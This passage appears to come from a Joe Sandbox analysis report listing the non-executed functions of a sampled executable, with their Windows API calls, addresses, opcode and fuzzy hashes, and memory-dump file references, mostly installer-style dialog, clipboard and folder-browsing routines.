Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$CloseHandleProcesslstrlen$CodeCreateExitObjectSingleTextWaitWindowlstrcatwsprintf
String ID:
API String ID: 2972824698-0
Opcode ID: f3bc0ec1b70cec7457a4bdbd95c89a475c59590d6f8743061159391c9333bea6
Instruction ID: 72ab4701d282d41bfb99937ccb951c9b3d992b5a19319da95f503844dddfcbd3
Opcode Fuzzy Hash: f3bc0ec1b70cec7457a4bdbd95c89a475c59590d6f8743061159391c9333bea6
Instruction Fuzzy Hash: EEF0F032804015ABCB20BBA199849DE72B5CF00318B21413FE102B21D1C77C0E42AA6E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040571B Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405779
GetDlgItem.USER32(?,000003EE), ref: 00405788
GetClientRect.USER32(?,?), ref: 004057C5
GetSystemMetrics.USER32(00000002), ref: 004057CC
SendMessageW.USER32(?,00001061,00000000,?), ref: 004057ED
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004057FE
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405811
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040581F
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405832
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405854
ShowWindow.USER32(?,00000008), ref: 00405868
GetDlgItem.USER32(?,000003EC), ref: 00405889
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405899
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004058B2
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004058BE
GetDlgItem.USER32(?,000003F8), ref: 00405797

Part of subcall function 0040450B: SendMessageW.USER32(00000028,?,00000001,00404336), ref: 00404519

GetDlgItem.USER32(?,000003EC), ref: 004058DB
CreateThread.KERNEL32(00000000,00000000,Function_000056AF,00000000), ref: 004058E9
CloseHandle.KERNEL32(00000000), ref: 004058F0
ShowWindow.USER32(00000000), ref: 00405914
ShowWindow.USER32(?,00000008), ref: 00405919
ShowWindow.USER32(00000008), ref: 00405963
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405997
CreatePopupMenu.USER32 ref: 004059A8
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004059BC
GetWindowRect.USER32(?,?), ref: 004059DC
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004059F5
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A2D
OpenClipboard.USER32(00000000), ref: 00405A3D
EmptyClipboard.USER32 ref: 00405A43
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A4F
GlobalLock.KERNEL32(00000000), ref: 00405A59
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A6D
GlobalUnlock.KERNEL32(00000000), ref: 00405A8D
SetClipboardData.USER32(0000000D,00000000), ref: 00405A98
CloseClipboard.USER32 ref: 00405A9E

Strings

{, xrefs: 00405981

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 6951b3530aa72caf7521df0bf8db88f5d1408e2bb92485539c1303395de87c8c
Instruction ID: 234ab3d0ec1f6487b719ed7b99e1d6b4405f443d9e8d78e252fa94ab3ac4d3a1
Opcode Fuzzy Hash: 6951b3530aa72caf7521df0bf8db88f5d1408e2bb92485539c1303395de87c8c
Instruction Fuzzy Hash: 34B139B1900608FFDB11AF60DD89AAE7B79FB48355F00813AFA41BA1A0C7785A51DF58

Uniqueness

Uniqueness Score: -1.00%

Function 004049C7 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404A16
SetWindowTextW.USER32(00000000,?), ref: 00404A40
SHBrowseForFolderW.SHELL32(?), ref: 00404AF1
CoTaskMemFree.OLE32(00000000), ref: 00404AFC
lstrcmpiW.KERNEL32(004326A0,0042CA68,00000000,?,?), ref: 00404B2E
lstrcatW.KERNEL32(?,004326A0), ref: 00404B3A
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404B4C

Part of subcall function 00405B9B: GetDlgItemTextW.USER32(?,?,00000400,00404B83), ref: 00405BAE

Part of subcall function 00406805: CharNextW.USER32(?,*?|<>/":,00000000,0043F000,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00406868
Part of subcall function 00406805: CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406877
Part of subcall function 00406805: CharNextW.USER32(?,0043F000,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040687C
Part of subcall function 00406805: CharPrevW.USER32(?,?,75923420,C:\Users\user\AppData\Local\Temp\,00000000,0040350D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 0040688F

GetDiskFreeSpaceW.KERNEL32(0042AA38,?,?,0000040F,?,0042AA38,0042AA38,?,00000001,0042AA38,?,?,000003FB,?), ref: 00404C0F
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404C2A

Part of subcall function 00404D83: lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E24
Part of subcall function 00404D83: wsprintfW.USER32 ref: 00404E2D
Part of subcall function 00404D83: SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E40

Strings

A, xrefs: 00404AEA

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: aab1ff152b07609d5ccd452d97b16b322b3ddb3b1e57e49f69f3ed37cd316d4d
Instruction ID: 8a45afd3ee22384d80319c7ed67abe130e578f1d2b392c1e8909742cb30e522b
Opcode Fuzzy Hash: aab1ff152b07609d5ccd452d97b16b322b3ddb3b1e57e49f69f3ed37cd316d4d
Instruction Fuzzy Hash: FCA192B1900208ABDB11EFA5DD45BAFB7B8EF84314F11803BF611B62D1D77C9A418B69

Uniqueness

Uniqueness Score: -1.00%

Function 004021AF Relevance: 1.6, APIs: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085E8,?,00000001,004085D8,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040222E

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 54fcaebf65a6d80a769d2ffe25eeb1568fba929b3fba522b5b89cb6b807999ae
Instruction ID: f0c409d0c9855dc16f3492d495f607d4fcaf843261c47ee8c1995525671fe781
Opcode Fuzzy Hash: 54fcaebf65a6d80a769d2ffe25eeb1568fba929b3fba522b5b89cb6b807999ae
Instruction Fuzzy Hash: 76411471A00208AFCB40DFE4C989EAD7BB5FF48308B20457AF515EB2D1DB799982CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00402910 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040291F

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: f7eec81d6910abfa52e209e80917fba1586809f9bcb970d7ef1d97902b1d379f
Instruction ID: 4f8030157269cd498ea314d5a86e386b0cfb994e1dea9c94a4400a3869289cfc
Opcode Fuzzy Hash: f7eec81d6910abfa52e209e80917fba1586809f9bcb970d7ef1d97902b1d379f
Instruction Fuzzy Hash: 17F08C71A04104AAD701EBE4EE499AEB378EF14324F60457BE102F31E0DBB85E159B2A

Uniqueness

Uniqueness Score: -1.00%

Function 00406DC6 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca9fc840679c4677ea5dd763a2b97f011fd48deb17cd4c9d43ec117c62889360
Instruction ID: a5eb8001d75a17d38d83411349fde439c8a9064fda1b18d7f978e280ae41e255
Opcode Fuzzy Hash: ca9fc840679c4677ea5dd763a2b97f011fd48deb17cd4c9d43ec117c62889360
Instruction Fuzzy Hash: ACE19C71A04709DFCB24CF58C880BAABBF1FF45305F15852EE496A72D1E378AA51CB05

Uniqueness

Uniqueness Score: -1.00%

Function 0040759D Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5db23d3e625216a1972a1fea7a98b9ee98c1df0b240da8e2d6c4f39054d3f9c6
Instruction ID: e409ec8ffb443055957628c835c79614664982182129ebc37b3e11cb9bcd83e5
Opcode Fuzzy Hash: 5db23d3e625216a1972a1fea7a98b9ee98c1df0b240da8e2d6c4f39054d3f9c6
Instruction Fuzzy Hash: ECC14772E04219CBCF18CF68C4905EEBBB2BF98354F25866AD85677380D7346942CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404F43 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404F5B
GetDlgItem.USER32(?,00000408), ref: 00404F66
GlobalAlloc.KERNEL32(00000040,?), ref: 00404FB0
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404FC7
SetWindowLongW.USER32(?,000000FC,00405550), ref: 00404FE0
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404FF4
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00405006
SendMessageW.USER32(?,00001109,00000002), ref: 0040501C
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405028
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 0040503A
DeleteObject.GDI32(00000000), ref: 0040503D
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405068
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405074
SendMessageW.USER32(?,00001132,00000000,?), ref: 0040510F
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040513F

Part of subcall function 0040450B: SendMessageW.USER32(00000028,?,00000001,00404336), ref: 00404519

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405153
GetWindowLongW.USER32(?,000000F0), ref: 00405181
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040518F
ShowWindow.USER32(?,00000005), ref: 0040519F
SendMessageW.USER32(?,00000419,00000000,?), ref: 0040529A
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004052FF
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405314
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405338
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405358
ImageList_Destroy.COMCTL32(?), ref: 0040536D
GlobalFree.KERNEL32(?), ref: 0040537D
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004053F6
SendMessageW.USER32(?,00001102,?,?), ref: 0040549F
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004054AE
InvalidateRect.USER32(?,00000000,00000001), ref: 004054D9
ShowWindow.USER32(?,00000000), ref: 00405527
GetDlgItem.USER32(?,000003FE), ref: 00405532
ShowWindow.USER32(00000000), ref: 00405539

Strings

, xrefs: 00405511
N, xrefs: 004051D8
M, xrefs: 004050F7

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 14683326fe5d0e21a3b01d942e888f99a0d9647cceadcd168bf81575faddcc86
Instruction ID: 91097811874ce85ba3cc7540bcf7dd58db25a3d6f071223140e4d1ec27d7ea12
Opcode Fuzzy Hash: 14683326fe5d0e21a3b01d942e888f99a0d9647cceadcd168bf81575faddcc86
Instruction Fuzzy Hash: 6C029C70900608AFDF20DF94DD85AAF7BB5FB85314F10817AE611BA2E1D7798A41CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00403FD7 Relevance: 51.4, APIs: 34, Instructions: 357windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404013
ShowWindow.USER32(?), ref: 00404033
GetWindowLongW.USER32(?,000000F0), ref: 00404045
ShowWindow.USER32(?,00000004), ref: 0040405E
DestroyWindow.USER32 ref: 00404072
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040408B
GetDlgItem.USER32(?,?), ref: 004040AA
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004040BE
IsWindowEnabled.USER32(00000000), ref: 004040C5
GetDlgItem.USER32(?,00000001), ref: 00404170
GetDlgItem.USER32(?,00000002), ref: 0040417A
SetClassLongW.USER32(?,000000F2,?), ref: 00404194
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004041E5
GetDlgItem.USER32(?,00000003), ref: 0040428B
ShowWindow.USER32(00000000,?), ref: 004042AC
EnableWindow.USER32(?,?), ref: 004042BE
EnableWindow.USER32(?,?), ref: 004042D9
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004042EF
EnableMenuItem.USER32(00000000), ref: 004042F6
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040430E
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404321
lstrlenW.KERNEL32(0042CA68,?,0042CA68,00000000), ref: 0040434B
SetWindowTextW.USER32(?,0042CA68), ref: 0040435F
ShowWindow.USER32(?,0000000A), ref: 00404493

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$Item$MessageSendShow$EnableLong$Menu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 1860320154-0
Opcode ID: df8d1fa02ff149c62ea57a685de79d9d3ef227f732b6982a07419eaff96d62a7
Instruction ID: 911e0a6aef898d83942fe666095560f38e6effa11f08765efd6836b1f10f2e9c
Opcode Fuzzy Hash: df8d1fa02ff149c62ea57a685de79d9d3ef227f732b6982a07419eaff96d62a7
Instruction Fuzzy Hash: 29C1B0B1500204BBDB206F61EE89A2B3A68FB85756F01053EF781B51F0CB3958929B2D

Uniqueness

Uniqueness Score: -1.00%

Function 00404695 Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404733
GetDlgItem.USER32(?,000003E8), ref: 00404747
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404764
GetSysColor.USER32(?), ref: 00404775
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404783
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404791
lstrlenW.KERNEL32(?), ref: 00404796
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004047A3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004047B8
GetDlgItem.USER32(?,0000040A), ref: 00404811
SendMessageW.USER32(00000000), ref: 00404818
GetDlgItem.USER32(?,000003E8), ref: 00404843
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404886
LoadCursorW.USER32(00000000,00007F02), ref: 00404894
SetCursor.USER32(00000000), ref: 00404897
LoadCursorW.USER32(00000000,00007F00), ref: 004048B0
SetCursor.USER32(00000000), ref: 004048B3
SendMessageW.USER32(00000111,00000001,00000000), ref: 004048E2
SendMessageW.USER32(00000010,00000000,00000000), ref: 004048F4

Strings

N, xrefs: 00404831

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.0000000000441000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2202495487.0000000000445000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N
API String ID: 3103080414-1130791706
Opcode ID: 04e13e5971a3aaf2d7c3f6bec99ed017c89c89abbf6057be99a5caf0d4384f9a
Instruction ID: 3ad42440e7936429012ccc374b67200ab01768f99e4ad58672f49272ac14a637
Opcode Fuzzy Hash: 04e13e5971a3aaf2d7c3f6bec99ed017c89c89abbf6057be99a5caf0d4384f9a
Instruction Fuzzy Hash: 2E6181B1900209BFDB10AF60DD85EAA7B69FB84315F00853AFA05B62D0C779A951DF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433700,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2201589913.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2201567526.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201611662.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2201703263.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
